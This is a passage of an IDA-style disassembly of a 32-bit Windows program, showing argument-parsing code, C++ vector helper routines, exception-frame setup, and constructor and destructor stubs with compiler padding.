mov dl, [edi]
cmp cl, dl
jnz short loc_40A4C0
loc_40A4B7: ; CODE XREF: sub_40A430+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A4B7
loc_40A4C0: ; CODE XREF: sub_40A430+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A4CF
inc eax
mov [esp+48h+var_3C], eax
loc_40A4CF: ; CODE XREF: sub_40A430+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_401988
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A51F
test cl, cl
jz short loc_40A507
loc_40A4EB: ; CODE XREF: sub_40A430+D5j
cmp cl, 22h
jnz short loc_40A4FC
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A507
test cl, cl
jz short loc_40A507
loc_40A4FC: ; CODE XREF: sub_40A430+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A4EB
loc_40A507: ; CODE XREF: sub_40A430+B9j
; sub_40A430+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A54A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A54A
add eax, 2
jmp short loc_40A546
; ---------------------------------------------------------------------------
loc_40A51F: ; CODE XREF: sub_40A430+B5j
test cl, cl
jz short loc_40A534
mov dl, [edi]
loc_40A525: ; CODE XREF: sub_40A430+102j
cmp cl, dl
jz short loc_40A534
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A525
loc_40A534: ; CODE XREF: sub_40A430+F1j
; sub_40A430+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A54A
cmp cl, [edi]
jnz short loc_40A54A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A546: ; CODE XREF: sub_40A430+EDj
mov [esp+48h+var_3C], eax
loc_40A54A: ; CODE XREF: sub_40A430+DAj
; sub_40A430+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A4B1
pop ebx
loc_40A555: ; CODE XREF: sub_40A430+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011F9
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A56D
push offset byte_446F70
jmp short loc_40A57A
; ---------------------------------------------------------------------------
loc_40A56D: ; CODE XREF: sub_40A430+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401F64
mov eax, [eax]
push eax
loc_40A57A: ; CODE XREF: sub_40A430+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_401861
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_401226
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_40158C
; ---------------------------------------------------------------------------
loc_40A5A4: ; CODE XREF: sub_40A430+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_40A430 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A630 proc near ; CODE XREF: sub_4016AEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011EA
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A630 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A670 proc near ; CODE XREF: sub_40200Ej
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015D7
pop esi
retn 4
sub_40A670 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A6A0 proc near ; CODE XREF: sub_401A87j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015D7
retn 4
sub_40A6A0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A6C0 proc near ; CODE XREF: sub_40146Fj
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A6C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A6E0: ; CODE XREF: ___:0040149Cj
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A700 proc near ; CODE XREF: sub_401389j
mov eax, [ecx+9]
retn
sub_40A700 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A720 proc near ; CODE XREF: sub_4017E4j
mov eax, [ecx+9]
retn
sub_40A720 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A740 proc near ; CODE XREF: sub_4014D3j
mov eax, [ecx+9]
retn
sub_40A740 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A760 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A760 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A790 proc near ; CODE XREF: sub_40158Cj
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
sub_40A790 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7E0 proc near ; CODE XREF: sub_4011F9j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A7EA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A7EA: ; CODE XREF: sub_40A7E0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A7E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A810 proc near ; CODE XREF: sub_401F64j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011F9
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A828
mov ecx, esi
call sub_401EE7
loc_40A828: ; CODE XREF: sub_40A810+Fj
mov ecx, esi
call sub_401D1B
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A810 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A850 proc near ; CODE XREF: sub_401988j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40164F
push eax
mov ecx, esi
call sub_4016EF
pop esi
retn 4
sub_40A850 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A880 proc near ; CODE XREF: sub_401D1Bj
mov eax, [ecx+4]
retn
sub_40A880 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8A0 proc near ; CODE XREF: sub_40164Fj
mov eax, [ecx+8]
retn
sub_40A8A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8C0 proc near ; CODE XREF: sub_4016EFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401D1B
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_4013CF
mov ecx, edi
call sub_401D1B
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A8C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A910 proc near ; CODE XREF: sub_4019A6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40A930
loc_40A921: ; CODE XREF: sub_40A910+1Ej
push esi
mov ecx, edi
call sub_4018B1
add esi, 4
cmp esi, ebx
jnz short loc_40A921
loc_40A930: ; CODE XREF: sub_40A910+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A910 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A950: ; CODE XREF: sub_401EE7j
push 0FFFFFFFFh
push offset loc_438AB9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
nop
call near ptr 760A0430h
lea edx, [esp+14h]
push offset dword_43F080
push edx
call sub_436832
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A9D0 proc near ; CODE XREF: sub_4011EFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_40A9D0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9F0 proc near ; CODE XREF: sub_4013CFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40AABB
mov ecx, esi
call sub_4011F9
cmp edi, eax
jnb short loc_40AA23
mov ecx, esi
call sub_4011F9
mov ebp, eax
jmp short loc_40AA25
; ---------------------------------------------------------------------------
loc_40AA23: ; CODE XREF: sub_40A9F0+26j
mov ebp, edi
loc_40AA25: ; CODE XREF: sub_40A9F0+31j
mov ecx, esi
call sub_4011F9
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401DCF
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010CD
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_402176
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011F9
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AABB: ; CODE XREF: sub_40A9F0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40AB19
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_402176
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E6F
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AB19: ; CODE XREF: sub_40A9F0+D8j
test edi, edi
jbe short loc_40AB53
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010CD
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_4020AE
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E6F
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40A9F0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABC0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40ABC0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABE0 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40AC12
push edi
mov edi, [esp+10h+arg_8]
loc_40ABF6: ; CODE XREF: sub_40ABE0+27j
push esi
push edi
mov ecx, ebx
call sub_402121
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40ABF6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AC12: ; CODE XREF: sub_40ABE0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40ABE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AC30 proc near ; CODE XREF: sub_402176j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40AC57
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40AC46: ; CODE XREF: sub_40AC30+23j
push ebx
push esi
mov ecx, ebp
call sub_402121
add esi, 4
dec edi
jnz short loc_40AC46
pop esi
pop ebx
loc_40AC57: ; CODE XREF: sub_40AC30+Aj
pop edi
pop ebp
retn 0Ch
sub_40AC30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AC70 proc near ; CODE XREF: sub_401DCFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4014CE
sub_40AC70 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACA0 proc near ; CODE XREF: sub_402121j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401DE8
add esp, 8
retn 8
sub_40ACA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40ACED
mov edx, [esp+arg_8]
push esi
loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40ACE1
pop esi
locret_40ACED: ; CODE XREF: sub_40ACD0+Aj
retn
sub_40ACD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD00 proc near ; CODE XREF: sub_4020AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40AD22
mov eax, [esp+arg_8]
push esi
loc_40AD11: ; CODE XREF: sub_40AD00+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40AD11
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AD22: ; CODE XREF: sub_40AD00+Aj
mov eax, [esp+arg_8]
retn
sub_40AD00 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AD60 proc near ; CODE XREF: sub_4014CEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40AD6A
xor eax, eax
loc_40AD6A: ; CODE XREF: sub_40AD60+6j
shl eax, 2
push eax
call sub_4367FA
sub_40AD60 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD90 proc near ; CODE XREF: sub_401DE8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40ADAB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40ADAB: ; CODE XREF: sub_40AD90+11j
retn
sub_40AD90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj
mov eax, ecx
mov dword ptr [eax], offset off_43E014
retn
sub_40ADC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40ADE0: ; CODE XREF: ___:00401717j
; ___:loc_402027j
push esi
mov esi, ecx
call sub_402031
test byte ptr [esp+8], 1
jz short loc_40ADF8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40ADF8: ; CODE XREF: ___:0040ADEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE10 proc near ; CODE XREF: sub_402031j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AE10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_43E014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_401744
loc_40AE41: ; DATA XREF: sub_40AE52o
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AE10 endp
; =============== S U B R O U T I N E =======================================
sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo
mov eax, offset loc_40AE41
retn
sub_40AE52 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE80 proc near ; CODE XREF: sub_4014BAj
call sub_401708
jmp sub_4017B2
sub_40AE80 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEA0 proc near ; CODE XREF: sub_401B18j
call sub_40161D
jmp sub_4017C1
sub_40AEA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEC0 proc near ; CODE XREF: sub_4013D4j
push esi
mov esi, ecx
push esi
push offset sub_40141F
lea eax, [esi+0Ch]
push 0
push eax
call sub_40123A
add esp, 10h
test eax, eax
jnz short loc_40AEE2
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AEE2: ; CODE XREF: sub_40AEC0+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AEC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF00: ; CODE XREF: ___:004011C2j
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AF27
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_40175D
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40AF27: ; CODE XREF: ___:0040AF09j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF40 proc near ; CODE XREF: sub_401744j
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AF5C
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_401758
add esp, 8
mov byte ptr [esi+10h], 0
loc_40AF5C: ; CODE XREF: sub_40AF40+8j
pop esi
retn
sub_40AF40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF70: ; CODE XREF: ___:004011F4j
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF90 proc near ; CODE XREF: sub_40141Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AF90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call dword ptr [eax+4]
loc_40AFBE: ; DATA XREF: sub_40AFD1o
mov ecx, [ebp+var_C]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AF90 endp
; =============== S U B R O U T I N E =======================================
sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co
mov eax, offset loc_40AFBE
retn
sub_40AFD1 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B000 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B042
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_40218F
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_401050
add esp, 18h
loc_40B042: ; CODE XREF: sub_40B000+Bj
pop esi
add esp, 8
retn
sub_40B000 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B070 proc near ; CODE XREF: sub_401DCAj
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40B092
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_401050
add esp, 0Ch
loc_40B092: ; CODE XREF: sub_40B070+6j
pop ecx
retn
sub_40B070 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B0B0 proc near ; CODE XREF: sub_4019F1j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B0B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_401749
lea edi, [esi+8Eh]
lea eax, [esp+1Ch+var_11]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401BF4
sub_40B0B0 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 3
mov dword ptr [esi], offset off_43E020
call sub_401BEF
mov ecx, [esp+10h]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B170 proc near ; CODE XREF: sub_401AE6j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_43E020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401BEF
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_401555
sub_40B170 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+60h]
mov byte ptr [esp+14h], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B210 proc near ; CODE XREF: sub_4017EEj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401BEF
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_40B210 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+24h]
push 3
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+3Ch]
push 3
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
mov dword ptr [esp+3Ch], 0FFFFFFFFh
lea ecx, [esp+1Ch]
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B390 proc near ; CODE XREF: sub_40180Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
